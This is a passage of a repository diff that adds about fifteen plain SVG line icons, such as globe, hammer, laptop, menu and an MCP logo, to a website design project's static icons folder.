|
viewBox="0 0 24 24"
|
||||||
|
fill="none"
|
||||||
|
stroke="currentColor"
|
||||||
|
stroke-width="2"
|
||||||
|
stroke-linecap="round"
|
||||||
|
stroke-linejoin="round"
|
||||||
|
>
|
||||||
|
<line x1="6" x2="6" y1="3" y2="15" />
|
||||||
|
<circle cx="18" cy="6" r="3" />
|
||||||
|
<circle cx="6" cy="18" r="3" />
|
||||||
|
<path d="M18 9a9 9 0 0 1-9 9" />
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 351 B |
1
website-design/exp/static/icons/git-fork.svg
Normal file
@ -0,0 +1 @@
|
|||||||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" fill="none" stroke="#000000" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" style="opacity:1;"><circle cx="12" cy="18" r="3"/><circle cx="6" cy="6" r="3"/><circle cx="18" cy="6" r="3"/><path d="M18 9v2c0 .6-.4 1-1 1H7c-.6 0-1-.4-1-1V9m6 3v3"/></svg>
|
||||||
|
After Width: | Height: | Size: 349 B |
15
website-design/exp/static/icons/globe.svg
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
<svg
|
||||||
|
xmlns="http://www.w3.org/2000/svg"
|
||||||
|
width="24"
|
||||||
|
height="24"
|
||||||
|
viewBox="0 0 24 24"
|
||||||
|
fill="none"
|
||||||
|
stroke="currentColor"
|
||||||
|
stroke-width="2"
|
||||||
|
stroke-linecap="round"
|
||||||
|
stroke-linejoin="round"
|
||||||
|
>
|
||||||
|
<circle cx="12" cy="12" r="10" />
|
||||||
|
<path d="M12 2a14.5 14.5 0 0 0 0 20 14.5 14.5 0 0 0 0-20" />
|
||||||
|
<path d="M2 12h20" />
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 331 B |
1
website-design/exp/static/icons/graduation-cap.svg
Normal file
@ -0,0 +1 @@
|
|||||||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" fill="none" stroke="#000000" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" style="opacity:1;"><path d="M21.42 10.922a1 1 0 0 0-.019-1.838L12.83 5.18a2 2 0 0 0-1.66 0L2.6 9.08a1 1 0 0 0 0 1.832l8.57 3.908a2 2 0 0 0 1.66 0zM22 10v6"/><path d="M6 12.5V16a6 3 0 0 0 12 0v-3.5"/></svg>
|
||||||
|
After Width: | Height: | Size: 381 B |
15
website-design/exp/static/icons/hammer.svg
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
<svg
|
||||||
|
xmlns="http://www.w3.org/2000/svg"
|
||||||
|
width="24"
|
||||||
|
height="24"
|
||||||
|
viewBox="0 0 24 24"
|
||||||
|
fill="none"
|
||||||
|
stroke="currentColor"
|
||||||
|
stroke-width="2"
|
||||||
|
stroke-linecap="round"
|
||||||
|
stroke-linejoin="round"
|
||||||
|
>
|
||||||
|
<path d="m15 12-9.373 9.373a1 1 0 0 1-3.001-3L12 9" />
|
||||||
|
<path d="m18 15 4-4" />
|
||||||
|
<path d="m21.5 11.5-1.914-1.914A2 2 0 0 1 19 8.172v-.344a2 2 0 0 0-.586-1.414l-1.657-1.657A6 6 0 0 0 12.516 3H9l1.243 1.243A6 6 0 0 1 12 8.485V10l2 2h1.172a2 2 0 0 1 1.414.586L18.5 14.5" />
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 483 B |
15
website-design/exp/static/icons/info.svg
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
<svg
|
||||||
|
xmlns="http://www.w3.org/2000/svg"
|
||||||
|
width="24"
|
||||||
|
height="24"
|
||||||
|
viewBox="0 0 24 24"
|
||||||
|
fill="none"
|
||||||
|
stroke="currentColor"
|
||||||
|
stroke-width="2"
|
||||||
|
stroke-linecap="round"
|
||||||
|
stroke-linejoin="round"
|
||||||
|
>
|
||||||
|
<circle cx="12" cy="12" r="9" />
|
||||||
|
<path d="M12 16v-4" />
|
||||||
|
<path d="M12 8h.01" />
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 293 B |
1
website-design/exp/static/icons/keyboard.svg
Normal file
@ -0,0 +1 @@
|
|||||||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="48" height="48" fill="none" stroke="#000000" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" style="opacity:1;"><path d="M10 8h.01M12 12h.01M14 8h.01M16 12h.01M18 8h.01M6 8h.01M7 16h10m-9-4h.01"/><rect width="20" height="16" x="2" y="4" rx="2"/></svg>
|
||||||
|
After Width: | Height: | Size: 334 B |
14
website-design/exp/static/icons/laptop.svg
Normal file
@ -0,0 +1,14 @@
|
|||||||
|
<svg
|
||||||
|
xmlns="http://www.w3.org/2000/svg"
|
||||||
|
width="24"
|
||||||
|
height="24"
|
||||||
|
viewBox="0 0 24 24"
|
||||||
|
fill="none"
|
||||||
|
stroke="currentColor"
|
||||||
|
stroke-width="2"
|
||||||
|
stroke-linecap="round"
|
||||||
|
stroke-linejoin="round"
|
||||||
|
>
|
||||||
|
<path d="M18 5a2 2 0 0 1 2 2v8.526a2 2 0 0 0 .212.897l1.068 2.127a1 1 0 0 1-.9 1.45H3.62a1 1 0 0 1-.9-1.45l1.068-2.127A2 2 0 0 0 4 15.526V7a2 2 0 0 1 2-2z" />
|
||||||
|
<path d="M20.054 15.987H3.946" />
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 405 B |
1
website-design/exp/static/icons/layers.svg
Normal file
@ -0,0 +1 @@
|
|||||||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="48" height="48" fill="none" stroke="#000000" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" style="opacity:1;"><path d="M12.83 2.18a2 2 0 0 0-1.66 0L2.6 6.08a1 1 0 0 0 0 1.83l8.58 3.91a2 2 0 0 0 1.66 0l8.58-3.9a1 1 0 0 0 0-1.83z"/><path d="M2 12a1 1 0 0 0 .58.91l8.6 3.91a2 2 0 0 0 1.65 0l8.58-3.9A1 1 0 0 0 22 12"/><path d="M2 17a1 1 0 0 0 .58.91l8.6 3.91a2 2 0 0 0 1.65 0l8.58-3.9A1 1 0 0 0 22 17"/></svg>
|
||||||
|
After Width: | Height: | Size: 491 B |
16
website-design/exp/static/icons/layout-grid.svg
Normal file
@ -0,0 +1,16 @@
|
|||||||
|
<svg
|
||||||
|
xmlns="http://www.w3.org/2000/svg"
|
||||||
|
width="24"
|
||||||
|
height="24"
|
||||||
|
viewBox="0 0 24 24"
|
||||||
|
fill="none"
|
||||||
|
stroke="currentColor"
|
||||||
|
stroke-width="2"
|
||||||
|
stroke-linecap="round"
|
||||||
|
stroke-linejoin="round"
|
||||||
|
>
|
||||||
|
<rect width="7" height="7" x="3" y="3" rx="1" />
|
||||||
|
<rect width="7" height="7" x="14" y="3" rx="1" />
|
||||||
|
<rect width="7" height="7" x="14" y="14" rx="1" />
|
||||||
|
<rect width="7" height="7" x="3" y="14" rx="1" />
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 416 B |
12
website-design/exp/static/icons/mcp-logo.svg
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
<svg width="180" height="180" viewBox="0 0 180 180" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||||
|
<g clip-path="url(#clip0_19_13)">
|
||||||
|
<path d="M18 84.8528L85.8822 16.9706C95.2548 7.59798 110.451 7.59798 119.823 16.9706V16.9706C129.196 26.3431 129.196 41.5391 119.823 50.9117L68.5581 102.177" stroke="black" stroke-width="12" stroke-linecap="round"/>
|
||||||
|
<path d="M69.2652 101.47L119.823 50.9117C129.196 41.5391 144.392 41.5391 153.765 50.9117L154.118 51.2652C163.491 60.6378 163.491 75.8338 154.118 85.2063L92.7248 146.6C89.6006 149.724 89.6006 154.789 92.7248 157.913L105.331 170.52" stroke="black" stroke-width="12" stroke-linecap="round"/>
|
||||||
|
<path d="M102.853 33.9411L52.6482 84.1457C43.2756 93.5183 43.2756 108.714 52.6482 118.087V118.087C62.0208 127.459 77.2167 127.459 86.5893 118.087L136.794 67.8822" stroke="black" stroke-width="12" stroke-linecap="round"/>
|
||||||
|
</g>
|
||||||
|
<defs>
|
||||||
|
<clipPath id="clip0_19_13">
|
||||||
|
<rect width="180" height="180" fill="white"/>
|
||||||
|
</clipPath>
|
||||||
|
</defs>
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 973 B |
15
website-design/exp/static/icons/menu.svg
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
<svg
|
||||||
|
xmlns="http://www.w3.org/2000/svg"
|
||||||
|
width="24"
|
||||||
|
height="24"
|
||||||
|
viewBox="0 0 24 24"
|
||||||
|
fill="none"
|
||||||
|
stroke="currentColor"
|
||||||
|
stroke-width="2"
|
||||||
|
stroke-linecap="round"
|
||||||
|
stroke-linejoin="round"
|
||||||
|
>
|
||||||
|
<path d="M4 5h16" />
|
||||||
|
<path d="M4 12h16" />
|
||||||
|
<path d="M4 19h16" />
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 279 B |
@ -0,0 +1 @@
|
|||||||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" fill="none" stroke="#000000" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" style="opacity:1;"><path d="M2.992 16.342a2 2 0 0 1 .094 1.167l-1.065 3.29a1 1 0 0 0 1.236 1.168l3.413-.998a2 2 0 0 1 1.099.092a10 10 0 1 0-4.777-4.719"/><path d="M9.09 9a3 3 0 0 1 5.83 1c0 2-3 3-3 3m.08 4h.01"/></svg>
|
||||||
|
After Width: | Height: | Size: 394 B |
1
website-design/exp/static/icons/mic.svg
Normal file
@ -0,0 +1 @@
|
|||||||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" fill="none" stroke="#000000" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" style="opacity:1;"><path d="M12 19v3m7-12v2a7 7 0 0 1-14 0v-2"/><rect width="6" height="13" x="9" y="2" rx="3"/></svg>
|
||||||
|
After Width: | Height: | Size: 294 B |
15
website-design/exp/static/icons/monitor.svg
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
<svg
|
||||||
|
xmlns="http://www.w3.org/2000/svg"
|
||||||
|
width="24"
|
||||||
|
height="24"
|
||||||
|
viewBox="0 0 24 24"
|
||||||
|
fill="none"
|
||||||
|
stroke="currentColor"
|
||||||
|
stroke-width="2"
|
||||||
|
stroke-linecap="round"
|
||||||
|
stroke-linejoin="round"
|
||||||
|
>
|
||||||
|
<rect width="20" height="14" x="2" y="3" rx="2" />
|
||||||
|
<line x1="8" x2="16" y1="21" y2="21" />
|
||||||
|
<line x1="12" x2="12" y1="17" y2="21" />
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 346 B |
1
website-design/exp/static/icons/mouse-pointer-2.svg
Normal file
@ -0,0 +1 @@
|
|||||||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="48" height="48" fill="none" stroke="#000000" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" style="opacity:1;"><path d="M4.037 4.688a.495.495 0 0 1 .651-.651l16 6.5a.5.5 0 0 1-.063.947l-6.124 1.58a2 2 0 0 0-1.438 1.435l-1.579 6.126a.5.5 0 0 1-.947.063z"/></svg>
|
||||||
|
After Width: | Height: | Size: 350 B |